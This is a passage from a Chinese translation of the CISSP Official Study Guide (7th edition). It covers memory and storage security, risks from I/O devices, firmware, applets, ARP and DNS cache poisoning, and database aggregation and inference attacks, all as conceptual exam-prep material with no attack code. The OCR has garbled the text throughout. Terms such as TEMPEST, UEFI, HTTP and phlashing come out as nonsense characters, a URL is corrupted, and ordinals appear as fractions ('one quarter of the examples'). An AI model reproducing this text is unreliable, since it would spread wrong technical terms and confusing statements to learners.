间接寻址 间接寻址使用 的方案类似于直接寻址。 但是， 作为指令的一部分提供给 CPU 的存储
器地址并不包含 CPU 用作操作数的真实数值。 实际上， 存储器地址中包含另一个存储器地址(也许
位于不同 的页面上)0 CPU 通过读取间接地址来 了解待操作数据驻留 的位置， 随后从这个地址取出
真实的操作数。
基址+偏移量寻址 基址叫扁移量寻址使用存储在某个 CPU 寄存器中的数值作为开始计算的基
址 。 然后 ， CPU 将指令提供的偏移量与基址相力日 ， 并从计算得到 的存储位置取出 操作数。
5 辅助存储器
" 辅助存储器" 这个术语通常是指磁'即光学介质或者包含 CPU 不能立刻获得的数据的其他存
储设备。 为了让 CPU 能够访问辅助存储器中 的数据， 数据必须先由操作系统读取并存储在实际的存
储器中 。 但是， 辅助存储器比主存储器的价格便直许多， 而且可以被用于存储大量的信息。 在这种
环境下 ， 硬盘、 软盘和光学介质(例如， CD 和 DVD)都可以作为辅助存储器使用 。
虚拟存储器是一种特殊类型的辅助存储器， 由操作系统负责管理， 就好像实际的存储器一样。
虚拟存储器中最常见的类型是绝大多数操作系统作为其内存管理功能一部分进行管理的页面文件。
这种特殊格式化的文件包含先前被存储在存储器中但近期并不使用的数据。 当操作系统需要访问在
页面文件中保存的地址时， 会查看页面是驻留在存储器中(如果驻留在存储器中 ， 就可 以立即进行访
问)还是被交换到磁盘中(如果被交换到磁盘中 ， 就会将数据从磁盘读回 实际的存储器中 ， 这个过程
也被称为分页)。
使用虚拟存储器是一种廉价的方法， 使得计算机在运行时拥有的存储器就好像比物理安装的实
际存储器多 。 虚拟存储器的主要缺点是: 在主存储器和辅助存储器之间交换数据时进行分页操作的
速度相对较惺(微秒级的存储功能、 毫秒级的磁盘系统; 通常这意味着量级相差 3 个级别)， 并且会
消 耗计算机的 大量开销和减缓整个系统的速度。
6. 存储器的安全问题
存储器存储并处理数据， 而某些数据可能极其敏感。 因此， 我们很有必要了 解各种不同类型的
存储器并了解它们如何存储和保留数据。 任何保留敏感数据的存储器设备在由于某种原因被允许离
开组织之前， 应当清除里面的数据。 这一点对于辅助存储器和 ROMIPROM厄PROMlEEPROM 设备
来说尤其重要， 原因在于这些设备在 电源供应被切断后仍然可 以保留数据 。
然而， 存储器的数据保留 问题不仅限于那些被设计用于保留数据的存储器类型。 前面曾经介绍
过， 静态 也创 和动态 RAM 芯片是通过电容器和触发器来存储数据的(参见前面的真实场景 "动态
RAM 与静态 RAM " )。 从技术上讲， 在电源被切断后， 这些电子元件在有限的一段时间 内仍有可能
保存一些电量。 从理论上讲， 一位技术经验丰富的人可以针对这些元件采取电子方法， 然后从设备
上取出存储的部分数据。 不过， 这需要有丰富的技术方面的专业知识， 除才附手拥有令人难以置信
的财力和资源 ， 否则不可能构成威肋 。
当系统被关闭或 RAM 被从主板上拔出时， 也有一种冻结存储器芯片以延迟驻留数据衰减的攻
击 ， 参见 http://en.wikipedia.org/wiki/ cold-boot.attack。
警告 :
由RAM芯 片 引起的最大安全威胁其实非常简单: RAM 芯片 经常被盗。 毕竟， 谁也不会每天都
检查 自 己的计算机中 究竟有多 少存储器? 某些人可能轻易地从大量系统中拆除很少一部分存储器，
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CISSP 官方学 习指南(第 7 版)
然后将这些具有很高价值的 芯片放在一个小 包里带出房间 。 然而， 因 为存储器芯片 的价格不断下跌，
所以这种威胁正在逐渐减少 。
围绕存储器的最重要的一个安全问题是: 在计算机使用过程中一定要控制哪些人可以对存储在
存储器中的数据进行访问 。 这主要是操作系统的职责， 并且是前面讨论的各种处理模式下主要的存
储器安全问题。 在本章稍后介绍的 " 基本安全保护机制 " 一节中 ， 你将会了解到如何使用进程隔离
原则 ， 来保证进程无法在未分配给它们 的存储器空间 中进行读取或写入操作。 如果在多级安全模式
的环境下工作， 那么特别需要注意的是: 无 论是通过直接存储器访问还是隐蔽通道(隐蔽通道的内容
将在本章后面进行详细讨论)， 一定要确保采取了适当的保护措施， 来保护存储器内容不会在不同安
全级别之间发生不必要的泄漏 。
9.1 .3 存储设备
我们下面将要讨论的是计算机系统组件的第三大类: 数据存储设备。 这些设备被用于存1ï都十算
机今后要用到的信息。 我们首先讨论一些与存储设备有关的通用术语， 然后介绍与数据存储相关的
安全问题。
1 主存储设备与辅助存储设备
主存储设备与辅助存储设备的概念可能会被混淆， 尤其是在将它们与主存储器和辅助存储器进
行 比较时。 分清这些概念有一种容易的方法， 其实它们是一样的。 主存储器也称为主存储设备， 是
计算机用于保存运行时 CPU 容易获得的必要信息的 RAM。 辅助存储器或辅助存储设备包括人们熟
悉 的每天都使用 的长期存储设备。 辅助存储设备由磁性介质和光学介质组成， 如硬盘、 固态磁盘
(SSD)、 软盘、 磁带、 CD、 DVD 和闪存卡等。
2 易失性存储设备与非易失性存储设备
虽然你以前可能没有听说过使用术语 " 易失性" 来描述存储设备， 但是在讨论存储器时已经介
绍了易失性的概念。 存储设备的易失'性只是一种用来衡量存储设备在电源被切断时丢失数据的可能
性的方法。 被设计用于保留数据的设备(如磁性介质)属于非易失性的 ， 反之， 诸如静态或动态RAM
模块之类的、 被设计为丢失数据的设备属于易失性的。 前面 曾经讨论过， 在 电源被切断时， 采用 复
杂的技术有时可以把数据从具有易失性的存储器中提取出来， 所 以易失性与非易失性之间的界限有
时 也没有那么明显。
3. 随机存取与顺序存取
230
存储设备的存取方式有两种。 随机存取存储设备允许操作系统通过使用某种寻址系统从设备内
的任何位置立刻读取(有时会写入)数据。 几乎所有的主存储设备都是随机存取设备。 可 以使用一个
内存地址直接存取存储在RAM芯片中任何位置的信息， 而不必读取在此位置之前物理存储的数据。
许多辅助存储设备也是随机存取的。 例如， 硬盘使用可 以移动的磁头系统， 这种系统允许操作者直
接移到磁盘上的任何位置， 而不必旋转通过其前面磁道上存储的所有数据: 同样， CD 和 DVD 设备
使用 能够将 自 身定位于盘片表面任何位置的光学扫描器。
另一方面， 顺序存储设备并不提供这种灵活性。 它们要求在到达指定位置之前读取(或快速经过)
第9章 安全脆弱性、 威胁和对施
该位置之前物理存储的所有数据。 磁带驱动器是顺序存储设备的常见示例。 为了存取存储在磁带 中
部的数据， 磁带机必须物理扫描整个磁带(即使不需要处理在快进模式中经过的数据)， 直至到达所
期望的位置。
显而易见， 顺序存取存储设备要比随机存取存储设备的操作速度慢许多 。 但是， 此时再次需要
根据成本/效益做出决定。 许多顺序存取存储设备能够使用价格相对便直的介质保存大量的数据， 这
个特性使得磁带机非常适合用于与灾难恢复或业务连续性计划(参见第 3 章 " 业务连续性计划" 和第
1 8 章 " 灾难恢复计划" )相关联的备份任务。 在 需要备份的情况下， 通常有数量巨大的数据需要存
储 ， 但是这些数据很少进行存取。 这种情况恰好就可 以使用顺序存储设备 !
9.1 .4 存储介质的安全性
我们在前面讨论了与主存储设备有关的安全 问题。 当涉及辅助存储设备的安全 问题时， 主要需
要关注下列三点 ， 同 时它们也反映了 主存储设备引起的 问题 :
• 即使在数据被删除之后 ， 数据仍然可能保留在辅助存储设备上。 这种情况被称为数据剩磁。
大多数具备一定技术水平的计算机用户 都知道， 使用相应的实用程序能够从磁盘上重新找
回 己经被删除的文件。 从技术上讲， 还存在从己经被重新格式化(通常被称为清除)的磁盘上
重新找回 数据的可能性。 如果确实希望从辅助存储设备上删除数据 ， 那么就需要使用专门
设计的实用程序来破坏设备上相应数据的所有磁道， 或者破坏或销毁辅助存储设备， 从而
使其无法被修复(通常称为净化) 。
• 固态硬盘对于净化呈现出独特的 问题。 SSD 损耗均衡意味着有经常未被标记为 "存活" 状
态的数据块， 当它被关闭复制 以降低磨损平整块(lower wear leveled bolcks)时仍保存了 数据
的副本。 这意味着对于固态硬盘的数据安全措施 ， 传统的归零是无效的。
• 辅助存储设备还很容易被盗。 经济上的损失不是主要因素(毕竟， CD-R 光盘甚至硬盘值不
了多少钱)， 但是机密信息的丢失会带来极大的风险。 如果某人将公司 的商业机密复制在软
盘上并带走， 这样造成的 巨大损失远远越过磁盘本身的价值。 因此， 重要的是要使用全磁
盘加密 ， 以减少未经授权的实体获取数据的风险。 由于 SSD 的损耗均衡技术， 在 SSD 存储
数据之前对其进行全盘加密是一个 良好的安全实践。 这将减少任何明文数据驻留在休眠块
(dormant blocks)中 的机会。 幸运的是， 许多 HDD 和 SSD 设备本身提供设备加密。
• 对存储在辅助存储设备上的数据进行访问 ， 是计算机安全专家所面对的最紧要的 问题之一。
对于硬盘来说， 通过结合操作系统的访问控制往往就可以对数据进行保护。 可移动介质的
安全则面临着极大的挑战 ， 因此对它们 的保护经常需要使用密码技术。
9.1 .5 输入和输出设备
输入和输出 设备往往被视为基本的、 原始的外围设备 ， 并且一般不会受到很多的关注， 除非它
们无法正常工作 。 然而， 即使是这些基本的设备 ， 对于系统来说一样存在安全风险。 安全专家应当
意识到这些风险， 并且必须确保使用 了恰当的控制方法来降低风险。 下面将讨论某些特殊输入和输
出 设备存在的风险。
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CISSP 官方学习指南(第 7 版)
1 . 显示器
显示器似乎相当安全。 毕竟， 它们只是显示由操作系统呈现的数据。 当关掉显示器时 ， 数据就
从屏幕上消失 了并且无法被恢复。 然而， 有一种被称为 TEMPEST 的技术会危及显示器上所显示数
据 的安全性。
TE肌1PEST 技术可以从一定距离外甚至另一个地点探测到每台显示器所发出 的电子辐射(被称为
Van Eck 辐射)。 这种技术还被用于阻止类似的活动。 各种证据己经表明: 使用一辆停靠街旁的装有
此设备的箱式货车， 就可以轻松读取办公楼内显示器屏幕上的内容。 遗憾的是， 实施阻止 Van Eck
辐射所需的保护控制措施是非常昂贵的(需要大量的铜)， 并且使用起来相当麻烦 。 通常， CRT 显示
器更容易产生辐射， 而液晶显示器的 电磁泄漏则少得多(有人这么宣传但没有提供关键数据支撑)。
关于任意显示器最大争议的最大风险仍然是肩 窥或相机的长焦镜头 。
2. 打印机
虽然处理起来比较简单， 但是打印机也存在一定的安全风险。 由于组织使用了物理安全控制措
施， 因此带着打印出来的敏感信息走出 办公室要比带着软盘或其他磁性介质离开更容易 。 此外， 如
果打印机是共享的， 那么用户可能会忘了及时取回他们打印 出来的敏感信息， 因而容易被人偷窥。
许多现代的打印机也在本地存储数据 ， 这些数据往往存储在硬盘驱动器上， 有一些还保留着无限期
的打印拷贝。 打印机通常被暴露在网络上以方便访问， 因此往往不是设计为安全系统。 在组织的安
全策略 中 ， 最好能够解决这些问题。
3. 键盘/鼠标
键盘、 鼠标和类似的输入设备并非不存在安全脆弱性， 但所有这些设备都容易受到 回归EST
技术的监控 。 还有， 键盘容易受到简单 的 "窃昕"。 一种简单的设备可以被放在键盘内 部或放在连接
电缆旁， 从而能够截获所有的击键行为， 并且可以使用无线电信号将它们传送到远程接收器。 这与
使用 T卧在PEST 技术进行监控具有相同 的效果， 但却使用 比较便直的装置。 此外， 如果键盘和 鼠标
是无线的(包括蓝牙) ， 那么它们 的无线 电信号也能够被截获。
4. 调制解调器
随着宽带和无线网络的广泛应用， 调制解调器逐渐成为过时且很少使用 的计算机组件。 不过，
在现有的台式机和笔记本电脑中， 调制解调器仍然是硬件配置中 的常见部分。 不管是否常用 ， 用户
系统中存在调制解调器往往是安全管理员最苦恼的问题之一。 调制解调器允许用户在网络内创建非
受控的访问点。 在最坏的情况中 ， 如果配置不正确， 那么调制解调器会产生相当严重的安全脆弱性，
从而致使外部人员突破保护机制的安全防线井直接访问 网络资源。 最糟糕的是， 调制解调器会生成
一条可选的出 口 通道， 内 部用户可以使用它将数据泄漏到组织外部。 但是， 请记住， 只有当调制解
调器连接到可操作的有线 电话线时 ， 这个漏洞才能被利用。
除非是出于商业原因而必须使用调制解调器， 否则应当在组织的安全策略中重点考虑禁止使用
调制解调器。 在这些情况下， 安全管理人员应当 了 解所有调制解调器在网络中 的物理位置和逻辑位
置 ， 并确保它们被正确配置和给予适当 的保护措施 以 阻止非法使用 。
232
第 9 章 安全脆弱性、 威胁和对施
5. 输入/输出结构
与通用输入碎市出(I10)操作相关的某些计算机活动(并非单独的设备)也具有安全含义。 需要在一
定程度上熟悉手动输入碎命出设备配置， 以便将旧 式的外围设备(这些设备没有自 动配置或支持即插
即 用 设置)集成到现代 PC 中 。 在旧式设备上进行手动配置所要求的三种操作涉及下列 内容:
存储映射 1/0 对于许多设备类型来说， 存储映射 I10 是一种用于管理输入输出的技术。 更确
切地说， CPU 管理的地址空间部分能够通过一系列 映射的内存地址或位置提供对某些设备类别的访
问 。 这样一来， 通过读取映射存储位置， 实际上从相应的设备中读取输入(在设备通知输入可用时 ，
会在系统级 自 动复制至这些存储位置)。 同样， 通过写入映射存储位置， 实际上可以将输出发送至相
应 的设备(在 CPU 通知输出 可用 时 ， 在系统级将这些存储位置的输出 自 动复制至相应设备)。
从配置的角度看， 确认只有一台设备映射到某个特定的存储地址范围 以及这个存储地址范围只
用于处理设备 1/0 是非常重要的 。 从安全性的角度看， 对映射存储位置的访问应当 由操作系统居间
调停， 并且应当得到正确 的授权和访 问控制 。
中断(IRQ) 中 断(IRQ)是中 断请求的缩写， 这种技术通过特殊的中断控制器为特定设备指派特
定的信号线。 当某个设备希望为 CPU 提供输入时， 它会在为其指派的 IRQ 上发送信号(在使用两个
级联的 8 线中断控制器的 旧式 PC 中 ， IRQ 号的范围通常为 0-1 趴 在使用三个级联的 8 线中断控制
器的新式 PC 中 ， IRQ 号的范围通常为 0-23)。 较新的符合 PnP 的设备实际上可以共享单个中断( IRQ
号)， 较旧的、 过时的设备通常必须独 占使用唯一的 IRQ 号(两个或多个设备被分配相同 的中断号时
会发生众所周知的中断冲突， 最佳的识别方法是所有受影响的设备都无法被访问)。 从配置的角度看，
找出对过时设备有用的未用 IRQ 号有时是个不断尝试的过程。 从安全性的角度看， 只 有操作系统能
够在足够高的特权级别 间接访 问 IRQ， 以 便防止篡改或意外的错误配置。
直接内存访问(Direct Memory Access， DMA) 直接内存访问(DMA)像具有两条信号线的通道
一样工作， 其中一条线是 DMA 请求(DRQ)线， 另 一条则是 DMA 确认(DACK)线。 不需要 CPU 帮
助就可以直接交换实际存储器中数据的设备使用 DMA 来管理这样的访问 。 通过使用 DMA 的 DRQ
线 ， 某个设备通知 CPU 希望直接访问(可能是读、 写或读写组合)另一个设备(通常是实际的存储器)。
CPU 授权访问 ， 随后允许这个访问独立进行 ， 同时阻止对所涉及内 存位置的其他访问。 直接访问 完
成后， 设备使用 DACK 线通知 CPU 可 以再次允许先前被阻止的、 对相关内存位置的访问。 与要求
CPU 调停访问和允许 CPU 在 内 存访 问进行中处理其他任务相比， 直接访问 更为快速。 DMA 常用于
准许硬盘驱动器、 光驱、 显卡和多媒体卡管理与实际存储器之间的大量数据传输。 从配置的角度看，
管理 DMA 地址以保持设备地址的唯一性以及确认这样的地址只用于 DMA 信号发送， 是非常重要
的 。 从安全性的角度看， 只有操作系统才能够调停 DMA 的分配以及访 问 I10 设备的 DMA 的使用 。
如果理解了 通用 的IRQ分配， 并且理解了 存储映射I10和DMA的工作原理以及相关的安全问题，
那么就足以应对CISSP考试。 如果还没有达到这个程度， 那么还需要继续学习相关知识。 此时， PC
Guide网站上对系统存储器的完美概述(www.pcguide.com/ref7ram/)能够提供你需要掌握的所有内容。
9.1 .6 固件
" 固件 " (在某些范围 内也被称为做码)这个术语被用于描述在ROM芯片中存储的软件。 这种软
件很少被更改(只要软件被存储在与EPROMlEEPROM不 同的真正的ROM芯片上， 那么实际上从不更
改)， 并且经常被用于驱动计算设备的基本计算操作。 有两种类型的固件: 在主板上的BIOS以及通
233
CISSP 官方学 习指南(第 7 版)
用的内部或外部固件。
1 . 8108
基本输入输出系统(Basic InputJOutput System， BIOS)包含独立于操作系统的原始指令， 这些指
令被用于启动计算机和从磁盘加载操作系统。 BIOS 被包含在一个国件设备中 ， 在启动时能够由计
算机立即访问 。 在大多数计算机中 ， BIOS 被存储在 EEPROM 芯片上以帮助版本升级。 BIOS 的升
级过程被称为 " 闪存 BIOS "。
曾经有几个恶意代码被嵌入到 BIOS/固件中 的例子。 还有一类攻击被称为 phlas恤咚， 此攻击会
恶意更改官方 BIOS 或固件， 把恶意代码安装到设备中 ， 使其可被远程控制或具备其他的恶意功能。
自 20 1 1 年 以来， 大多数系统制造商己通过 四FI(Unified Extensible Firmware Interf町， 统一可
扩展固件接口)取代了传统系统主板的 BIOS。 四FI 是硬件和操作系统之间的一种更先进的接口 ， 但
保持了 对传统 BIOS 服务的支持。
2. 设备固件
为了完成任务， 许多硬件设备(如打印机和调制解调器)还需要一些有限的处理能力 ， 以便最小
化操作系统 自身的负担。 在许多情况下 ， 这些 " 迷你型" 操作系统完全被包含在相应设备上的固件
芯片内 。 与计算机的 BIOS 一样， 设备固件往往被存储在 EEPROM 设备上， 从而可以在需要时进行
更新。
9.2 基于客户端
基于客户端漏洞会使用户及其数据和系统面临遭受攻击和破坏的风险。 客户端攻击是能够损害
客户 的任何攻击类型。 一般情况下， 当讨论攻击时 ， 攻击的主要 目 标是服务器或服务器端组件。 客
户 端或客户端集中攻击的 目 标是客户机本身或客户机上的进程。 客户端攻击的一个常见例子是恶意
网站， 它们将恶意的移动代码(如 applet)通过脆弱的客户端浏览器传送到客户端。 客户端攻击可以发
生在任何通信协议上， 而不只是Hπ?。 另一类基于客户端的潜在漏洞， 是本地缓存中毒的风险。
9.2. 1 applet
上面己经介绍过， 代理是用户系统发送的、 能够对远程系统上存储的数据进行查询和处理的代
码对象。 applet 执行相反的功能， 这些代码对象被从服务器发送至客户端以便执行某些操作。 事实
上 ， applet 实 际上是一些 自 包含 的小 型程序 ， 这些程序的执行独立于发送它们 的服务器。
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设想有一台 Web 服务器 ， 它为 W巳b 用户提供多种财务工具。 其中一个工具可能是抵押计算器，
这个工具能够处理用户 的财务信息， 并且基于贷款本金和期限以及贷款人的信用信息提供月 抵押付
款。 这些数据并非在服务器上进行处理， 然后向 客户端系统返回结果， 而是由远程 Web 服务器向本
地系统发送一个可以 自 己执行这些计算的 applet。 这为远程服务器和终端用户 提供 了很多优点 :
• 处理压力被转移至客户端 ， Web 服务器上的 资源得到了 释放， 从而能够处理更多用户 的
请求。
• 客户端可以使用本地资源处理后得到数据 ， 而不是等待远程服务器的响应。 在很多情况下，
这可 以 更快地响应对输入数据的修改。
第 9 章 安全脆弱性、 威胁和对施
• 在正确编程的 applet 中 ， Web 服务器并不接收作为输入信息提供给 applet 的数据， 因此可
以维护财务数据的 安全性和隐私性。
然而， 与代理一样， applet 也引入了许多安全问题。 applet 准许远程系统向本地系统发送执行代
码。 安全管理员必须采取措施， 确保这些代码是安全的， 并且正确地屏蔽恶意活动 。 此外， 如果没
有逐行地分析这些代码， 那么终端用户 就永远不能确定这个 applet 是否包含特洛伊木马组件。 例如，
抵押计算器可能确实在终端用户不知情或没有得到终端用户 准许的情况下向 Web 服务器传送回敏
感的财务信息。
下面将探讨两个常用 的 applet 类型: Java applet 和 ActiveX 控件。
Java applet Java.是由 Sun Microsystems公司 开发的独立于平台 的编程语言。 大多数编程语言使
用 的编译器能够定制生成在特定操作系统中运行的应用程序。 这需要使用多个编译器为所支持的每
个平台生成不同版本的、 单独的应用程序。 Java引 入了Java虚拟机(J\币句， 因此不存在上述限制 。 每
个运行Java代码的系统都会下载本操作系统所支持的NM版本。 只币4随后获得Java代码， 并且将其
转换为指定系统可 以执行的格式。 这种方案的最大优点在于代码可以在操作系统间共享 ， 而不需要
进行修改。 Java applet是在Internet上传输的简短的Java牙呈序， 以便在远程系统上执行各种操作。
在 Java 平台的设计过程中 ， 安全性是首要的考虑因素， 并且 Sun 公司 的开发团队创建了 " 沙箱 "
的概念， 从而对 Java 代码施加特权限制 。 沙箱将 Java 代码对象与操作系统的其他部分隔离开， 并
且强制实施关于对象可访问 资源的严格规则 。 例如， 为了防止 Java applet 窃取信息， I少箱会禁止 Java
applet 从内存区域(专门 为其分配的区域除夕阳中检索信息 。 遗憾的是， 虽然沙盒通过 Java 减少了 恶
意事件的种类， 但是还存在其他很多 己被广泛利用 的漏洞 。
ActiveX 控件 ActiveX 控件是 Microsoft 公司针对 Sun 公司 的 Java applet 的应对产品。 ActiveX
控件与 Java applet 的操作形式很相似， 但使用多种语言中 的一种， 包括 Visual Ba町、 c、 C++和 Java。
在 Java applet 和 ActiveX 控件之间存在两种主要的区别。 首先， ActiveX 控件使用 Microsoft 公司专
有的技术， 因此， 只 能在运行 Microsoft 浏览器的系统上执行。 其次， ActiveX 控件不受 Java applet
中沙箱的限制 ， 它对 Wmdows 操作系统环境具有全部的访问权限， 并且可以执行很多特权操作 。 因
此， 在决定下载执行哪种 ActiveX 控件时必须采取特殊的预防措施。 很多安全管理员 已经采取了 稍
微有些苛刻的态度 ， 也就是禁止从某些可信站点之外的所有站点下载任何 ActiveX 内 容。
Microsoft 已经宣布和发布新的浏览器代码 ， 称为斯巴达项 目 。 这种新的浏览器将不包括对
ActiveX 控件的支持， 而计划推出 的 Intemet Explorer 1 0 还包括 ActiveX， 这表明 Microso企 也可能要
淘汰 ActiveX。
9.2.2 本地缓存
本地缓存是暂时存储在客户端上的任意内容， 用于将来重新使用 。 一个典型的客户端上有许多
本地缓存， 包括 ARP 缓存、 DNS 缓存以及互联网文件缓存。 ARP 缓存投毒攻击由攻击者回应 ARP
广播查询并发送伪造的回复而引发。 如果客户端在有效的 回复之前收到错误的回复， 那么虚假的应
答将用来填充 ARP 缓存， 而真实的回复将被看成外面的开放查询而被丢弃。 ARP 缓存的动态内容，
不论是否中毒或合法， 都将一直缓存直到发生超时(通常是 1 0 分钟)0 ARP 为 了制作数据传输的 以太
网报头， 而将 E 地址解析为相应的 MAC 地址。 一旦一个 IP 到 MAC 地址的映射不在缓存内， 那么
攻击者在客户端执行 ARP 广播查询时就会得到另一个机会去毒害 ARP 缓存。
ARP 缓存投毒的第二种形式是创建静态ARP 实体， 这通过 ARP 命令执行而且必须是在本地执
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CISSP 官方学习指南(第 7 版)
行 。 但这很容易通过木马、 缓冲区溢出或社会工程攻击在客户端完成。 静态ARP 实体是永久性的，
即便系统重新启动。 一旦发生ARP 投毒， 无论是针对永久实体还是动态条 目 ， 客户端传输的数据流
都将发送给非预期的其他系统。 这是由于 E 地址被映射到错误或不 同的硬件地址(即 MAC 地址)造
成的。 ARP 缓存投毒或 ARP 投毒是中 间人攻击的 手段之一 。
另一种比较流行的中间人攻击方式是通过 DNS 缓存投毒。类似于ARP 缓存 ， 一旦客户端从 DNS
服务器收到响应， 响应将被缓存并用于将来使用 。 如果虚假信息可以反馈到缓存中， 那么重定向通
信是很容易的。 有许多可以执行 DNS 缓存中毒的手段， 包括主机投毒、 授权 DNS 服务器攻击、 缓
存 DNS 服务器攻击、 DNS 查找地址改变以及 DNS 查询欺骗。
主机文件是静态文件并可在支持 TCPIlP 协 议的系统中找到， 其中包含域名和关联 E 地址的硬
编码索 引 。 虽然主机文件今天主要被用于动态 DNS 查询系统， 但仍可作为后备措施或强制性手段。
管理员或黑客可以在主机文件中添加内容， 在 FQDN(Fully Qualified Domain Name， 完全合格的域
名 )和 E 地址选择之间进行设置。 如果攻击者能够将虚假信息存储到主机文件中， 那么 当系统启动
时 ， 主机文件的内容将被读入内存， 它们将被优先考虑。 与动态查询不同， 动态查询最终将超时并
从缓存中失效， 而主机文件中 的条 目 是永久生效的 。
授权 DNS 服务器攻击的 目 的是改变原有主机系统的 FQDN 原始记录 。 授权 DNS 服务器拥有文
件区域或数据库域。 如果原始数据集被改变， 那么最终这些变化将在整个互联网上传播开来。 然而，
对授权 DNS 服务器的攻击通常会很快被发现， 所 以很少能导致漏洞蔓延 。 因此， 大多数攻击者将
目 光转 向缓存 DNS 服务器 。 缓存 DNS 服务器可以是任意 DNS 系统， 它们缓存从其他 DNS 服务器
获得的 DNS 信息。 大多数公司 和 ISP 向他们的用户提供缓存 DNS 服务器。 托管在缓存 DNS 服务
器上的 内容不会被世界范围 内 的安全团体所关注 ， 而是由当地 ISP 维护。 因此， 对缓存 DNS 服务器
的攻击可悄然发生直到一段时候后才被发现。 有关缓存 DNS 服务器攻击如何发生的详细信息 ， 可
参见 h即://unixwiz.net/techtips/i伊ide-kaminsky-出S呐均1.html 网址上的 " Kaminsky DNS 漏洞图解指
南 "。 虽然这些攻击都集中在 DNS 服务器， 但它们将最终影响客户端。 一旦客户端进行动态 DNS
解析， 从授权 DNS 服务器或缓存 DNS 服务器接收到的信息将被暂时存储在客户端的本地 DNS 缓
存中。 如果信息是虚假的 ， 那么客户端的 DNS 缓存就中毒 了 。
DNS 投毒四分之一的例子集中在发送另一个 E 地址给客户端作为 DNS 服务器， 为客户端提供
域名查询服务。 DNS 服务器地址通常是通过 DHCP 分配给客户端的， 但也可以静态分配。 即使所有
DHCP 指定的 IP 配置的其他元素 已经分配， 也仍然可以在本地修改静态分配的 DNS 服务器地址。
攻击改变客户端的 DNS 服务器查询地址可以通过脚本来执行(类似于前面提到的 ARP 攻击)或直接
攻击 DHCP 服务器。 一旦客户端使用错误的 DNS 服务器， 它们的查询将被发送到黑客控制的 DNS
服务器， 这将会得到 己 中毒的响应结果。
DNS 投毒五分之一的例子为 DNS 查询欺骗。 当这种攻击发生时 ， 黑客可以监听客户端向 DNS
服务器发送查询。 攻击者然后发送回虚假的信息响应。 如果客户端接受虚假的响应， 它们会对这些
信息进行本地 DNS 缓存。 当真正的答复到达时 ， 却被丢弃， 因 为原来的查询己被响应。 无论这种
DNS 攻击如何进行， 错误的条 目 都将写入客户端的本地 DNS 缓存中 。 因此， 所有的 E 通信都将被
发送到错误的端点。 这将允许黑客通过操纵虚假的端点建立中间人攻击， 然后再将通信数据转发到
正确的 目 的地。
关于本地缓存二分之一的关注是临时互联网文件或互联网文件缓存。 这些临时存储的文件从互
联网网站下载， 并被客户端当前或 以后使用 。 这个缓存主要包含网站内容， 但其他的互联网服务也
可 以使用文件缓存。 各种各样的利用方式， 如分裂响应攻击 ， 可 以使客户端下载内容并将其存储在
第9章 安全脆弱性、 威胁和对施
缓存中 ， 而这些内 容不是预期的 Web 页面请求内容。 移动代码脚本攻击也可以用来在缓存中写入错
误内容。 一旦文件己被缓存投毒 ， 那么即使当合法的 Web 文档进行缓存调用时， 恶意的 内容也将被
激活。
减轻或解决这些攻击并不那么简单或直接， 并不是简单的补丁或更新就可防止这些对客户端漏
洞的攻击。 这是因为这些攻击利用 了 内置到各种协议、 服务和应用 中 的正常和适当 的机制 。 因此，
无法通过补丁来修复缺陷， 更多的防御集中在监测和预防方面。 通常作为开始， 应保持操作系统和
应用程序修补来自各自厂商的补丁。 下一步， 安装主机入侵检测系统和网络入侵检测工具来观察这
些类型的滥用 。 定期审计 DNS '日 志、 DHCP 系统 日 志以及本地客户端系统 日 志、 可能的防火墙、 交
换机和路 由器日志 以及时发现异常或可疑事件。
9.3 基于服务端
基于服务器关注的重要领域是数据流控制， 其中也可能包括客户端。 数据流是进程之间、 设备
之间、 网络之间的数据或是通信信道之间的数据的流动。 对数据流加 以管理能确保不仅以最小延迟
的有效方式传输， 还使用散列确保吞吐数据的可靠性和使用加密确保机密'性。 数据流控制同样还确
保接收系统不被通信流量导致过载， 尤其是 dropping(泪滴)连接或恶意的甚至是自 我造成的拒绝服
务。 当数据溢出发生时， 数据可能丢失、 损坏或触发重传。 这些结果是不利的， 并且通常实施数据
流控制来防止这些问题的发生。 数据流控制可 以通过网络设备， 包括路由器和交换机， 还有网络应
用 和服务进行提供。
9.4 数据库安全
数据库安全是任何使用大规模数据集作为基础资产的组织的重要组成部分。 如果没有数据库安
全性方面的努力 ， 业务任务可以被中断， 保密信息将被泄露 。 在 CISSP 考试中知道有关数据库安全
的若干问题是很重要的 ， 包括聚合、 推理、 数据挖掘 、 数据仓库和数据分析。
9.4. 1 聚合
SQL 提供了 很多函数， 这些函数能够将一个或多个表中的记录组合在一起， 以生成可能有用 的
信息。 这个过程被称为聚合(aggregation)。 聚合并非没有安全漏洞 。 聚合攻击被用来收集大量的低安
全级别 的或低价值的事物， 将它们结合起来创造较高安全级别或有价值的东西 。
虽然这些功能相当有用 ， 但是也对数据库中信息的安全性带来了 非常大的风险。 例如， 假设一
个低职衔的军事记录员负责更新基地之间人员和设备的调配记录。 作为职责的一部分， 这个记录员
可能被授予必要的数据库权限， 从而能够对 personnel 表进行查询和更新。
军 队可能没有考虑到个人调动请求(例女日 ， Jones 中士从 X 基地被调往 Y 基地， 属于分类信息 。
记录员可 以访问这些信息 ， 但是在一般情况下， Jones 中士已经通知了朋友和家人他要被调往 Y 基
地。 然而， 通过使用聚合函数， 记录员可能能够计算全球每个军事基地的部队数量。 这些部队级别
常常受到军事机密的严格保护， 但是低职衔的记录员却能够使用聚合函数在大量未分类的数据中推
237
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CISSP 官方学习指南(第 7 版)
论出这些内容。
因此， 严格控制对聚合函数的访问并且充分估计可能展示给未授权个体的潜在信息， 这对数据
库 安全管理员来说是特别重要的 。
9.4.2 推理
由推理攻击引 出 的数据库安全问题与数据聚合威胁带来的问题很相似。 与聚合类似， 推理攻击
利用几个非敏感信息片的组合， 从而获得对应该属于更高级分类的信息的访问能力 。 然而， 推理要
利用人的推断能力 ， 而不是现代数据库平台 的简 单数学计算能力 。
下面是一个经常被引 用的推理攻击示例: 为 了准备一份高级别报告， 在一家大公司工作的会计
获准检索公司工资的全部开销， 但是没有获准访问 员工个人的工资信息。 会计必须利用过去的有效
日 期来准备这些报告 ， 因此被获准访问在过去一年 中任意 日 期的工资总计。 假如会计还必须知道不
同 员工的雇用和解聘日期， 并且可以访问这些信息 。 这就为推理攻击打开了一道大门。 如果某位员
工是某天被雇用 的唯一人员 ， 那么会计现在能够检索到那一天和之前一天的工资总计， 并且推导出
这名 员 工的工资 ， 而这应该是用户 不允许直接访 问 的敏感信息。
与聚合类似， 对于推理攻击的最好防范是对赋予个人用户的特权保持持续警隅 。 此外， 数据的
